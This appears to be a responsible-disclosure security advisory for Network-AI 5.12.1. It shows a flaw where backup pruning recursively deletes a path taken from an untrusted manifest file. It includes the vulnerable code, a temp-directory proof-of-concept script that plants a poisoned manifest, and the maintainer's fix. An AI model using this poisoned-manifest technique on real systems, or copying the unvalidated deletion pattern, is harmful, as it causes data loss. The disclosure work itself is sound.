Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning

Summary

EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).

An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.

Details

listBackups() trusts manifest content from disk:

for (const name of readdirSync(backupsDir)) {
  const manifest = join(backupsDir, name, '_manifest.json');
  if (existsSync(manifest)) {
    try {
      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
      entries.push(entry);
    } catch { /* corrupt manifest, skip */ }
  }
}

pruneBackups() uses the attacker-controlled entry.path as the deletion target:

const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
  try {
    rmSync(entry.path, { recursive: true, force: true });
    deleted++;
  } catch { /* ignore */ }
}

Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.

Affected source evidence:

• lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.
• lib/env-manager.ts:529-541 — recursively deletes entry.path.
• bin/cli.ts:464-472 — default CLI exposes backup pruning.

PoC

This PoC uses only a temporary directory and deletes only a temporary file:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;

const mgr = new EnvironmentManager(path.join(base, 'data'), {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');

const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
  path.join(backupsDir, 'evil', '_manifest.json'),
  JSON.stringify({
    backupId: 'evil',
    env: 'dev',
    timestamp: '2000-01-01T00:00:00.000Z',
    sizeBytes: 0,
    path: path.join(base, 'victim.txt'),
  })
);

console.log(JSON.stringify({
  before: fs.existsSync(path.join(base, 'victim.txt')),
  deleted: mgr.pruneBackups('dev', 0),
  after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.

Impact

An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.

---

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.